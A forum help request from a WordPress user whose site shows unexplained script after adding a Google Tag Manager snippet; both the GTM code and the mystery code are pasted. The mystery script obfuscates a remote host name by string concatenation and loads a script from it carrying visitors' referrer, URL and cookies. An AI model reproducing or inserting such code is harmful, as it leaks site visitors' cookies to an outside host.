I have a problem with GTM. When I set GTM on the site with plugin for wordpress or from clear code to the begining body in the header.php I have open code at the bottom. Can you help me. I don’t find a solution.
P.S. I tried DuracellTomi’s Google Tag Manager for WordPress plugin.
My code
<body <?php body_class(); ?>>
<!-- Google Tag Manager -->
<noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-5N4Z3B"
height="0" width="0"
style="display:none;visibility:hidden"></iframe></noscript>
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-5N4Z3B');</script>
<!-- End Google Tag Manager -->
Open code at the bottom which appears
<script type="text/javascript">
(function(w, d, e) {
var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src;
var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src;
s = d.createElement(e); p = d.getElementsByTagName(e)[0]; s.async = 1; s.src = jsHost +"."+"r"+"u/d_client.js?param;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie)+";";
if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost +"."+"r"+'u/js/jquery-1.7.min.js'; p.parentNode.insertBefore(jq, p);}
p.parentNode.insertBefore(s, p);
}(window, document, 'script'));
</script>